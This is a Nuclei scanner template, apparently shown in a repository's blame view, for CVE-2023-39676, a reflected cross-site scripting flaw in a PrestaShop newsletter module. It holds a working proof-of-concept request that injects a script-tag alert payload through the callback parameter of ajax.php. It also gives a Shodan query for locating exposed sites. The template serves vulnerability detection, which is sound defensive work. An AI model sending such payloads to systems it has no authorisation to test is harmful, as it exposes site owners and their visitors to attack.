nuclei-templates/http/cves/2023/CVE-2023-39676.yaml

47 lines
1.5 KiB
YAML
Raw Normal View History

id: CVE-2023-39676
2023-09-11 06:44:30 +00:00
info:
2023-09-12 11:45:08 +00:00
name: PrestaShop fieldpopupnewsletter Module - Cross Site Scripting
author: meme-lord
severity: medium
2023-09-11 06:44:30 +00:00
description: |
2023-09-11 07:39:49 +00:00
Fieldpopupnewsletter Prestashop Module v1.0.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the callback parameter at ajax.php.
reference:
- https://blog.sorcery.ie/posts/fieldpopupnewsletter_xss/
2023-10-14 11:27:55 +00:00
- https://sorcery.ie
- https://themeforest.net/user/fieldthemes
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-39676
cwe-id: CWE-79
epss-score: 0.00183
epss-percentile: 0.55428
2023-10-14 11:27:55 +00:00
cpe: cpe:2.3:a:fieldthemes:fieldpopupnewsletter:1.0.0:*:*:*:*:prestashop:*:*
2023-09-11 06:44:30 +00:00
metadata:
2023-10-14 11:27:55 +00:00
verified: "true"
2023-09-11 06:44:30 +00:00
max-request: 1
2023-10-14 11:27:55 +00:00
vendor: fieldthemes
product: fieldpopupnewsletter
framework: prestashop
2023-09-11 06:44:30 +00:00
shodan-query: html:"fieldpopupnewsletter"
tags: cve,cve2023,prestashop,xss
http:
- method: GET
path:
2023-09-11 06:44:30 +00:00
- "{{BaseURL}}/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
2023-09-11 06:44:30 +00:00
- "<script>alert(document.domain)</script>"
- "Invalid email"
condition: and
2023-09-11 06:44:30 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022031f97cd8947ae74da712eaa7dfe083e1fb9ef46a2958e72919f02399d77d4d69022100b4a156519465a9d007567a0eee55e0589389b17f1b3630cac3fa859ee3e17e15:922c64590222798bb761d5b6d8e72950